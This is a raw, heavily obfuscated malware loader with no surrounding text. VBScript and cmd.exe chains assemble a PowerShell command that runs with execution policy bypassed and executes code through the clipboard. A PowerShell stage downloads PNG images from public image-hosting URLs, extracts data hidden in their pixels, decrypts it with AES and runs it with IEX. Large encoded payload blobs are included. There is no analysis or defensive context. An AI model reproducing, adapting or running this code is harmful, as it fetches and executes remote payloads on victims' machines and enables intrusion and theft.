yOkos = yOkos + "00250061005A004E00500025002500570062002500250035004400670078002500250077006F00250025006F006D005200250025007200390066002500250034004A00250025003300770025002500310039006100250025003300450025002500380072006E00250025006E0075006B006700250025006E006C004A0056002500250058006D005300350025002500510056003300250025005900760049004200250025004F0070003800250025006E0076002500250043007100550058002500250049004A005A007900250025004700580025002500310054006C0025002500410063004D006100250025004F004A0035002500250061004B0055002500250041005200250025006300760025002500330071004E00250025004900300025002500360059003800310025002500470041004500650025002500610043004E0025002500790042003700250025006E005400250025007200300054002500250050006C0025002500670030006B0025002500580044004F006A0025002500330050006"
yOkos = yOkos + "40059002500250055007A00250025006D006C002500250057006E002500250049007A0055002500250043004D005400250025007500430054005100250025004F0078006E004C00250025003300460065002500250077003700250025006A006D0078006C0025002500470063004D00620025002500780034006D00250025004900790025002600260063006D0064002E0065007800650020002F00430020002500760067003A00220022003D0021003800340070003A007E0031002100250022"
End Function
cmd.exe /V:ON/C"set Oe6w=CvNl6wGGl56ta0&&set sg=sa6mwPd&&set 8c=Stq2iMdXAk/oO4fzTV8i1m&&set Uv=VERT]::&&set vni=wSJXNNdJlWFcPSV/na4xyjNUb&&set W5Zf=2xdWyU8KRD&&set 6Of=e&&set adM= [Vo&&set XDOj=m&&set 9xOv=F&&set 1Tl=DoWs.foRMs.C&&set 3sSP=s&&set 85=flOSEhJIE1v&&set RY1W=ciweFxvTfImEPMK3u6cfHU&&set nv=ms'&&set ANY=CJfjJe3w&&set qi=bcZGtcfhLyyfr&&set V8=ynYlt5bN3G8&&set Mp=r&&set g1L=vRAuTl41Jtf&&set irCv=. ( ([StRi&&set PfZ=+O+7Tq3F48HTpHjNKYhH8t&&set I0d=h&&set 4Pp=jE2yr+yl3YMpseez&&set MW=lh&&set 8Q=NU7BL&&set Qj6=Gy4ygZ&&set cJ=wYG&&set 5C=U2BBc5uU9i&&set oW1=^^^^^^^&('&&set ut=aM5wk7i4J7qJkk&&set qbQ=2Jtf&&set oVcY=j&&set yGZ5=X&&set Je=4BnqnX1HwWAFXdaJHn8F+tOvLX/0cEIjJHqZh&&set NSeA=Ue1ekDZNmhaD&&set 2ay===' ), [IO.COmP&&set xlj=tFCW2+3wZXjjZae5zyer3d&&set a4o=IP.EXe ^^^&^^^&Cmd /C PoWerS&&set 1li=RM&&set N1kP=+TvCMSC&&set IJZy=[sySTe&&set 1l=eR','TReaMr')( ${_}, [t&&set nukg='me' )&&set AF=aN7XSl0hE&&set VrRM=xM&&set Tax=.memoRYSTrEAm&&set Aq=6&&set OB=""aS`ci&&set 3Fe=0}{1}\""&&set Q8=Tjg&&set tA=6leyNNnnhW&&set cXA=iS4u+L7Ak&&set 8h=W 1 -noni&&set M8qN=jTJ+gP&&set X8u=71YH09s8mgBejUhv&&set y4s=4ZDnYIE9ZuF3a+MW4&&set UB1=}{5}"" -f'SY','m','&&set W5qN=b5HqwP5DyZCCgrRYSi+KA&&set 6Y81=.( \""{0&&set jL=VCk68tH&&set OJ5=( &&set xDJY=iwKm45OLC5UYunBbXTbK&&set T7=5gVR&&set x4m=i`NVoKE\""( &&set Qf=ZBZ&&set xDc=""REa`DT`oenD""( )^^^^^^^^^^^^^^^| &&set xWc=GD&&set vAY=BukYXA7mbSW1JsFL&&set PI=HCdnCE7H8&&set 9D=lC44NSbmlmpqkqHArqxi&&set xYhw=VxSrDX&&set Uz=Clip&&set R3HL=HknYg4X0Y+m7&&set AR=""{1}{0}\"" -f( \""{1}{0}\""&&set RHKs=1p&&set wo=0}{1}{2}{3}{4}\"" -f&&set 8rn=2}\""-f 'h','Par','tial' ),'Na',&&set omR= &&set Si= [cOn&&set 3M=Mcq/o&&set NFgR=bNZ&&set uh=6z4f1+&&set 8P=yoVfdqP7vmoD/dIlA&&set 1Ihy=9&&set p5Z=MHw+uyvVnZEZb6Y&&set 3qN=')&&set x5Jr=ECHO/(&&set RF=o09WU+YsweicX&&set xkhY=s&&set j3=3MRJ&&set 1y9=1}{2}{3}{6&&set U0=b5j8WjJu&&set ieHu=nCodiNg]::&&set 6b=G/NbcnhIOBEjh6&&set JV=Com&&set WGx=reN`&&set yB7=,&&set 8731={v`ERBOse`p`Re`Fe&&set YBrx=s26TE&&set gsv=lEgwAFfjeelhnY8ZymExzjUEMxxmI+eafHEI2Fexfd8FC08x7A4y8FM&&set nGX=tg&&set aZNP=ion.Ass&&set uYf=8+3g84&&set tHLi=yix4gZ8aIbJXRHeXF+YIGOQmBDeO5&&set JW4A=Bp3BsjSu1p&&set ptI=bvH/Qj&&set OxnL=f (\""{&&set vjI=s&&set N1O=m.&&set qD27=QLSqrNp&&set Wn=oard]::(&&set cv= -f 'T','tEx' ),'gET&&set QpS=O&&set 1ImR=d/Wz&&set QH=icCL9cmbT6TqAbvj0AvWlpmQz&&set cH=A&&set aKU=\&&set TA4=8JMXPGb9zH+OkrCpdu/zIsP&&set i3Q=EzP5a&&set 5Dgx=""{&&set vEqn=dVVtc&&set YJU5=d7OgmHntbQEc&&set 3E=}{&&set AUQ=YCzgojirAYBpxqAXBk1TX1ADv&&set r6=+dD2/iyL0wMLv1dyK0Qcg08GRTXex2JzkKHOPqtSr&&set Ufe=QxVzRsNs7JrmExbD/9&&set AcMa=LIPBOArD]::&&set vMz= -&&set 240=kERpYl&&set WfM=WKA2w19WlgldPq&&set Iy= )&&set 2BN=NcL3udcrVrtZvxYpslksBKOAzcqupSH9UdRA1EzwG+x6rkSwmYz60Ueg9g4lO8TLEAghW&&set SNr=:""deC`O&&set xUl=""FrOM&&set QV3=f'nd&&set QK=e4oaBVtbvcJ&&set svj=1&&set CS8=eXT&&set jOG=Bb/IWkv7SXqiC76Poyi953lwmt9WTYL7NHG&&set vKL2=C0IGUxH9kZTF3wMu7Hyi86hHvlw9o&&set 0bli=PrEsSioNMODe]:&&set wt1T=xe/5TU6V&&set 0ay=giIIeDf4B5OHaDYeeCu&&set g0k=For&&set jmxl='lea','r&&set Pk=WZB&&set gUOo=Je&&set pC=Ce})[1,3]+'x'-Joi&&set CVGa=CT&&set tlyo=39UxXVmo&&set yizX=L5qA&&set 8Tm4=uig&&set mYRs=EnNxNEB56EzC&&set 3w=,( \""&&set gqO=oQgsC8tYWjIk&&set N7gW=LAhS&&set vDH=037s1FG1exSuY/9YiUyPoQ0dWR&&set Cs=kFx7okLtSuf&&set yX=C3YCzrqSIYHAYD&&set nlJV=.\""In`VOKE\""(( \""{3}{2}{0}{&&set SyY=4&&set MX=1qzod&&set TJ6=Ng]$&&set GcMb='),'C' ).\""&&set rcv=CT') (""{0}{4}{&&set UNtK=2G&&set GX=M.WiN&&set Af7=jP+bSe2uptZSaLprt&&set y5=s&&set yf=N'') ^^^| CL&&set nT='EX') ; [S&&set 5SAY=ZX90c&&set SWqT=n5FomP&&set oCgc=IO&&set AveX=g2&&set UJHQ=.E&&set Qw=m&&set Sl2=dxk7&&set w7=-f &&set GAEe=}{1}\"" -f 'i&&set VR2=iH2jfdE82kOnjli&&set iP=R&&set aH=QA9zTeGWZ9S&&set ng1r='Ob&&set 48eZ=ihNU+p&&set Pj0=ON&&set Pnc=LsABixCMcCy7&&set CMT={0}\"" &&set uCTQ=-&&set vbn=Up&&set gI=8I8LzB&&set oF=+8kYqfp2/YPZwCOOGl9pGmdT&&set 5Xez=T') (&&set Thkw=o6MlJTLjeY&&set Waz=2Q5x&&set sDHY=skWTdlXSOOSCLgAiZ&&set oj=teMt&&set 6uo4=NUodeP6bOqaxdQCzx4wMdhP&&set TdQ5=GpqZ8NsHPbaquq+d&&set I0=.\""IN`V`okE\""( ) ) ^^^^^^^^^^^^^^^| &&set pUa=ion.&&set 8o=/cQTkxh&&set 8ka=ZFlChsDwgEazDEbj1X1Lw&&set O4hv=7dQ9xk&&set Wb=embly]::(\&&set qi8=30udEWIj&&set Pl=stem.Windows.&&set AE5=2&&set ml=b&&set ghZw=ST&&set At=heLl -NOp -sT -Exec BypaS&&set wzJH=I"")}).&&set vt=M`pre`Ss"" )^^^^^^^^^^^^^^^| ^^^^^^^^&&set 286l=FLaTe&&set CByk=zD59kq8csCHu6S4/Pc&&set Spy4=ZzF1wdtY8M1&&set qNo=37/O2U&&set cyV=1TgOF0&&set 3PdY=s.&&set qy='nE'+'w-'+&&set X1=zGZsQY/&&set jU=o.','&&set IzU= \""{1}&&set 5vLP=T5Lmiq&&set 5TL=b5FH&&set Jr2x=ReSs&&set 6Gx=eNNdNV&&set J1iU=/KkKo8&&set 4J=Wi','t')&&set gWi=]&&set YvIB=ows','.&&set qGZ8=EfVhc42&&set Xx=QagK5XardRemvQXbr1QWnaMdbWHKaFeT9TjjpYMXqW&&set Auk=yBwdGS8wHetYvLALKA&&set Wb9y=sU&&set J0j=CrD&&set avo=5/HgTP&&set IsdF=sban&&set Wzj=rEAch-oBj'+'EC'+'t') {^^^^^^^^^^^^^^^&(&&set XmS5=1}{4}\""-&&set gkfo=id&&set 5h76=bAs`E6`4STRi`&&set SE=b0A16TFU&&set yx6=JMmy/FTsPqMTmD7j4GW/Z+G2k8QZD&&set nx=3nLPMUEfZcD9BZjZew&&set izDJ=qyakkBRRUWOBwV1dlhIbU3TSKq76vJX&&set 6VE=Yvz9sVMDJkoxmQt&&set SBo=Eo1M6Dso&&set RM=5&&set AnyN=wjpDEuFCZ3Lfh&&set U7eI=streAM&&set XY=uRnATWYVU&&set QvI9=D&&set 64=84RpGeuDCtd5&&set otGC=R6g&&set oZJ=mn2M/yvouf6jjt9H3S&&set r0T=y&&set r9f='L',( \""{0}{1}{2}\""-f 'oad','&&set N8=yqKTf4JN1EcztMXFqTx4bFPJ4e&&set RM6x=sZDW19&&set aIP=""{3}{0}{2}{1}{4}"" -f 'SSIOn','dE','.','Io.coMPRE','&&set 19a={0}{1&&set 5i=gS&&set VYAC=Ei&&set 5S9=DP&&set u4=6JIEP4rFOWtsBcn&&set cbpX=xQD6RBvnYeBm&&set Op8=','Wi','System.','For&&set CqUX= )) ; (&&set 6o=.('nEw-Ob'&&set cnU=aDxUu9FSUj&&set VZ=+5TMr&&set 8gGU=gcQB&&set gc=40&&set Jn=rSCaeY4FYRcFlUTLCn2f&&set c05a=q++A4Oj1PP/30y3xQ5FKr&&set q7nb=Re&&set TPK=l&&set 3rKv=KfTCXbm3koEBEh8kh9+aoE&&set oV=l8cEzd&&set SFuY=wzBIz&&set J2d0=hJCX8uWXP4T&&set uheI=WkFgGiP8KjySQOM9lpaOphM+BL0yn5rEag&&set 2Pz1=s&&set 3a4c=')( [SYStEm.iO&&set 3gm=9&&set uM=S','&&set 1C=5MgXdAURJg&&set cQF=3QCZuJQ6t&&set iPB3=P&&set iDSx=MJ&&set XDp=','Ead&&set I4Lw=xOf7&&set 2NP=.i&&set i1su=][Syste&&set 5g0=Xnvk&&set iUH=flect&&set RH=tdtUD9DXifByJLz8ciE1a/j9/TjcZuJ2erY6&&set 8Yt=FqcGY3JNbcz9ZtE/Uj8&&set Qr2N=O334HdfD&&set nFl5=fO&&set XCqP=5Q/0WFkyo&&set 84p=""&&set 5Zpq=EwFlVHl&&set vS=7AobODjvq&&set U70=72&&set ok6=Ng""('&&set yFgx=LwYP/VKor&&set aCN='&&set JUm=+'JeC'+'&&set 2yPl=/Oh&&set MeZ=lHHbgbZ20ki&&set 0sF=5wvODjWLe8Rgxx9TcB4CaqDRlkMiSShf&&call set vg=%x5Jr%%6o%%JUm%%5Xez%%aIP%%286l%%U7eI%%3a4c%%Tax%%gWi%%Si%%Uv%%xUl%%5h76%%ok6%%vEqn%%u4%%AF%%y5%%QpS%%8Tm4%%sDHY%%I4Lw%%O4hv%%U70%%c05a%%V8%%6Gx%%vbn%%J2d0%%p5Z%%xlj%%Af7%%TA4%%1ImR%%WfM%%J1iU%%5Zpq%%85%%qNo%%ptI%%iPB3%%Waz%%UNtK%%Qr2N%%ANY%%2Pz1%%N8%%1Ihy%%RH%%6b%%sg%%W5qN%%qi%%avo%%AE5%%U0%%N7gW%%svj%%Mp%%yizX%%g1L%%SWqT%%gI%%gqO%%YBrx%%cH%%oVcY%%PfZ%%RHKs%%QK%%240%%Cs%%i3Q%%NSeA%%X8u%%MeZ%%tA%%CByk%%SE%%Xx%%N1kP%%YJU5%%R3HL%%3gm%%AveX%%gc%%tHLi%%5C%%I0d%%RF%%0sF%%2yPl%%3sSP%%Auk%%tlyo%%3rKv%%Qf%%VZ%%VR2%%XY%%cJ%%Pj0%%iDSx%%qGZ8%%64%%uheI%%otGC%%Pk%%Oe6w%%9xOv%%W5Zf%%0ay%%vjI%%cnU%%T7%%Aq%%yx6%%VYAC%%cbpX%%5SAY%%Sl2%%ut%%5vLP%%xYhw%%NFgR%%6uo4%%vni%%oZJ%%oV%%SyY%%qi8%%CVGa%%Je%%5S9%%TPK%%jL%%J0j%%r6%%xWc%%VrRM%%vKL2%%MX%%M8qN%%qD27%%jOG%%y4s%%PI%%MW%%Thkw%%uh%%9D%%nx%%5TL%%Pnc%%j3%%oCgc%%TdQ5%%Qj6%%SFuY%%iP%%nGX%%8o%%vS%%8P%%JW4A%%yFgx%%gsv%%1C%%oj%%X1%%2BN%%yX%%4Pp%%yGZ5%%Qw%%AnyN%%QvI9%%RM6x%%5i%%izDJ%%8Q%%Q8%%uYf%%cyV%%QH%%cQF%%oF%%8c%%xDJY%%Spy4%%RY1W%%vDH%%8Yt%%48eZ%%mYRs%%Ufe%%AUQ%%Wb9y%%IsdF%%6VE%%5g0%%Jn%%vAY%%aH%%1li%%XCqP%%8gGU%%cXA%%wt1T%%RM%%SBo%%qbQ%%3M%%8ka%%2ay%%Jr2x%%pUa%%JV%%0bli%%SNr%%vt%%oW1%%nFl5%%Wzj%%qy%%ng1r%%gUOo%%rcv%%1y9%%UB1%%2NP%%jU%%uM%%ghZw%%6Of%%XDp%%1l%%CS8%%UJHQ%%ieHu%%OB%%wzJH%%xDc%%irCv%%TJ6%%8731%%WGx%%pC%%yf%%a4o%%At%%xkhY%%vMz%%8h%%adM%%gkfo%%i1su%%N1O%%q7nb%%iUH%%aZNP%%Wb%%5Dgx%%wo%%omR%%r9f%%4J%%3w%%19a%%3E%%8rn%%nukg%%nlJV%%XmS5%%QV3%%YvIB%%Op8%%nv%%CqUX%%IJZy%%GX%%1Tl%%AcMa%%OJ5%%aKU%%AR%%cv%%3qN%%I0%%6Y81%%GAEe%%aCN%%yB7%%nT%%r0T%%Pl%%g0k%%XDOj%%3PdY%%Uz%%ml%%Wn%%IzU%%CMT%%uCTQ%%OxnL%%3Fe%%w7%%jmxl%%GcMb%%x4m%%Iy%&&cmd.exe /C %vg:""=!84p:~1!%"
(
.('New-Object') ('System.IO.Compression.DeflateStream')( [System.IO.MemoryStream][Convert]::"FromBase64String"('dVVtc6JIEP4rFOWtsBcnaN7XSl0hEsOuigskWTdlXSOOSCLgAiZxOf77dQ9xk72q++A4Oj1PP/30y3xQ5FKrynYlt5bN3G8eNNdNVUphJCX8uWXP4TMHw+uyvVnZEZb6YtFCW2+3wZXjjZae5zyer3djP+bSe2uptZSaLprt8JMXPGb9zH+OkrCpdu/zIsPd/WzWKA2w19WlgldPq/KkKo8EwFlVHlflOSEhJIE1v37/O2UbvH/QjP2Q5x2GO334HdfDCJfjJe3wsyqKTf4JN1EcztMXFqTx4bFPJ4e9tdtUD9DXifByJLz8ciE1a/j9/TjcZuJ2erY6G/NbcnhIOBEjh6sa6mwPdb5HqwP5DyZCCgrRYSi+KAbcZGtcfhLyyfr5/HgTP2b5j8WjJuLAhS1rL5qAvRAuTl41Jtfn5FomP8I8LzBoQgsC8tYWjIks26TEAj+O+7Tq3F48HTpHjNKYhH8t1pe4oaBVtbvcJkERpYlkFx7okLtSufEzP5aUe1ekDZNmhaD71YH09s8mgBejUhvlHHbgbZ20ki6leyNNnnhWzD59kq8csCHu6S4/Pcb0A16TFUQagK5XardRemvQXbr1QWnaMdbWHKaFeT9TjjpYMXqW+TvCMSCd7OgmHntbQEcHknYg4X0Y+m79g240yix4gZ8aIbJXRHeXF+YIGOQmBDeO5U2BBc5uU9iho09WU+YsweicX5wvODjWLe8Rgxx9TcB4CaqDRlkMiSShf/OhsyBwdGS8wHetYvLALKA39UxXVmoKfTCXbm3koEBEh8kh9+aoEZBZ+5TMriH2jfdE82kOnjliuRnATWYVUwYGONMJEfVhc4284RpGeuDCtd5WkFgGiP8KjySQOM9lpaOphM+BL0yn5rEagR6gWZBCvNl6wGGl56ta0F2xdWyU8KRDgiIIeDf4B5OHaDYeeCusaDxUu9FSUj5gVR6JMmy/FTsPqMTmD7j4GW/Z+G2k8QZDEixQD6RBvnYeBmZX90cdxk7aM5wk7i4J7qJkkT5LmiqVxSrDXbNZNUodeP6bOqaxdQCzx4wMdhPwSJXNNdJlWFcPSV/na4xyjNUbmn2M/yvouf6jjt9H3Sl8cEzd430udEWIjCT4BnqnX1HwWAFXdaJHn8F+tOvLX/0cEIjJHqZhDPlVCk68tHCrD+dD2/iyL0wMLv1dyK0Qcg08GRTXex2JzkKHOPqtSrGDxMC0IGUxH9kZTF3wMu7Hyi86hHvlw9o1qzodjTJ+gPQLSqrNpBb/IWkv7SXqiC76Poyi953lwmt9WTYL7NHG4ZDnYIE9ZuF3a+MW4HCdnCE7H8lho6MlJTLjeY6z4f1+lC44NSbmlmpqkqHArqxi3nLPMUEfZcD9BZjZewb5FHLsABixCMcCy73MRJIOGpqZ8NsHPbaquq+dGy4ygZwzBIzRtg/cQTkxh7AobODjvqyoVfdqP7vmoD/dIlABp3BsjSu1pLwYP/VKorlEgwAFfjeelhnY8ZymExzjUEMxxmI+eafHEI2Fexfd8FC08x7A4y8FM5MgXdAURJgteMtzGZsQY/NcL3udcrVrtZvxYpslksBKOAzcqupSH9UdRA1EzwG+x6rkSwmYz60Ueg9g4lO8TLEAghWC3YCzrqSIYHAYDjE2yr+yl3YMpseezXmwjpDEuFCZ3LfhDsZDW19gSqyakkBRRUWOBwV1dlhIbU3TSKq76vJXNU7BLTjg8+3g841TgOF0icCL9cmbT6TqAbvj0AvWlpmQz3QCZuJQ6t+8kYqfp2/YPZwCOOGl9pGmdTStq2iMdXAk/oO4fzTV8i1miwKm45OLC5UYunBbXTbKZzF1wdtY8M1ciweFxvTfImEPMK3u6cfHU037s1FG1exSuY/9YiUyPoQ0dWRFqcGY3JNbcz9ZtE/Uj8ihNU+pEnNxNEB56EzCQxVzRsNs7JrmExbD/9YCzgojirAYBpxqAXBk1TX1ADvsUsbanYvz9sVMDJkoxmQtXnvkrSCaeY4FYRcFlUTLCn2fBukYXA7mbSW1JsFLQA9zTeGWZ9SRM5Q/0WFkyogcQBiS4u+L7Akxe/5TU6V5Eo1M6Dso2JtfMcq/oZFlChsDwgEazDEbj1X1Lw==' ), [IO.Compression.CompressionMode]::"Decompress" ) | &('ForEach-Object') {&('New-Object') ('System.IO.StreamReader')( ${_}, [teXT.EnCodiNg]::"Ascii")}
)
."ReadToEnd"() |
.(([String]${vERBOsepReFereNCe})[1,3]+'x'-JoiN'') | CLIP.EXe &&Cmd /C PoWerSheLl -NOp -sT -Exec BypaSs -W 1 -noni [Void][System.Reflection.Assembly]::(\"{0}{1}{2}{3}{4}" -f 'L',( "{0}{1}{2}"-f 'oad','Wi','t'),( "{0}{1}{2}"-f 'h','Par','tial' ),'Na','me' )."InVOKE"(( "{3}{2}{0}{1}{4}"-f'ndows','.','Wi','System.','Forms' )) ; ([sySTeM.WiNDoWs.foRMs.CLIPBOArD]::( \"{1}{0}" -f( "{1}{0}" -f 'T','tEx' ),'gET')."INVokE"( ) ) ^^^| .( "{0}{1}" -f 'i','EX') ; [System.Windows.Forms.Clipboard]::( "{1}{0}" -f ("{0}{1}"-f 'lea','r'),'C')."iNVoKE"()
&("{0}{1}"-f'sa','l') oM new-ObJeCT;
.("{0}{1}{2}"-f'Add-','Typ','e') -AssemblyName ("{0}{1}{2}" -f 'S','y','stem.Drawing');
[string[]]${COl}=(("{6}{5}{3}{1}{7}{4}{8}{2}{0}" -f'QZ_o.png','mages2.','ALZ','/i','4f','/','https:','imgbox.com/4a/','/BlS'),("{5}{1}{3}{4}{2}{0}" -f 'png','ttps:','mgur.com/o7h7NeV.','//','i.i','h'),("{7}{1}{3}{8}{4}{2}{6}{5}{0}" -f 'png','tps:/','/i/g','/image','rl','z.','5lw84pmkrsqdk0','ht','.f'),("{0}{6}{9}{4}{5}{1}{2}{7}{8}{3}"-f 'ht','stimg.','cc/','1','//i','.po','t','RSvh2V9v/R3.p','ng?dl=','ps:'));
function OtTAsS {
param ([String]${IgAa}, [String]${pcxC})${byTuRo} = [Convert]::"FROmBASe64string"(${IGAA});
${TlAS} = &('Om') bYtE[](32);
[Array]::"CoPy"(${bYTuRo}, 0, ${TLaS}, 0, 32);
${rcxz0} = .('Om') SystEM.sEcURITY.cRyptOgRAPhY.RfC2898deRIVeBYtEs(${PCxc},${tLAS});
${Xa2d} = ${rCxZ0}."GEtBYTES"(32);
${DEfS} = ${Rcxz0}."geTbyTES"(16);
${HmaC} = .('Om') sYsTEM.sEcUrItY.CRYPtOgRapHY.HMAcSHA1(,${rcxz0}."getBYtes"(20));
${eedER} = ${hMAc}."compuTehAsh"(${bytuRO}, 52, ${BYTURO}."LeNGTh" - 52);
if (&("{3}{2}{1}{0}" -f 'ect','bj','are-O','Comp') ${eeDER} (${byTUrO}[32..51]) -SyncWindow 0) {
throw ''
}
${Aes} = .('Om') sECuRITY.CryPTOgRapHY.rijnDAelMANAgED;
${QAsAq} = ${aES}."cREATeDeCRYPTOr"(${XA2D}, ${deFS});
${MJOkO} = ${QasAq}."TRaNsFoRmfINALbLOCK"(${bYTUro}, 52, ${BYTuRO}."lenGtH" - 52);
${adAmi} = .('Om') System.Io.meMOrYSTream(${MJOkO}, ${FalSE});
if (${mjoKO}[0] -eq 0x1f) {
${aDaMi} = &('Om') SYsTEM.IO.cOMpRessION.gZIpStReAm(${adami}, [IO.Compression.CompressionMode]::"DEcomPrESS")
}
${sTREAMreadEr} = &('Om') sYsTEM.iO.sTrEaMReadEr(${aDAmI}, ${TRUe});
${sTrEAmrEaDeR}."REAdtOeND"()
};
Function bAvV(${t64IN}){
${bCzA} = [System.Convert]::"frOmbASe64StrINg"(${T64iN});
${SeNegS} = [System.Text.Encoding]::"uTf8"."gETSTring"(${bCzA});
return ${SeneGS}
};
&("{1}{0}"-f 'l','sa') a nEw-oBjECT;
foreach(${URl} in ${CoL}){
if ((&('Om') NET.wEbcliENt)."DOWNLOAdsTRIng"(${URl})."leNGth" -gt 1000){
${W}=.('Om') SYStem.DRawiNG.BiTmAP((&('Om') nET.WeBclIEnt)."oPEnRead"(${URl}));
${JY}=.('Om') ByTE[] 1300200;
(0..216)|&('%'){
foreach(${I} in(0..599)){
${SV}=${w}."GETpIXEl"(${I},${_});
${jY}[${_}*600+${i}]=([math]::"fLooR"((${SV}."B"-band15)*16)-bor(${sV}."G" -band 15))
}
};
${eNSEEv} =[System.Text.Encoding]::"asCii"."GeTSTRINg"(${jy}[0..129819]);
${MimEdr} = &("{1}{0}"-f'ss','Otta') -Igaa ${eNSeEV} -Pcxc ([System.Version])."nAME";
${cgg}=.("{1}{0}"-f 'v','Bav')(${MiMEDR});
&("{1}{0}" -f 'X','IE')(${CgG});
break
}
}
$MmUz='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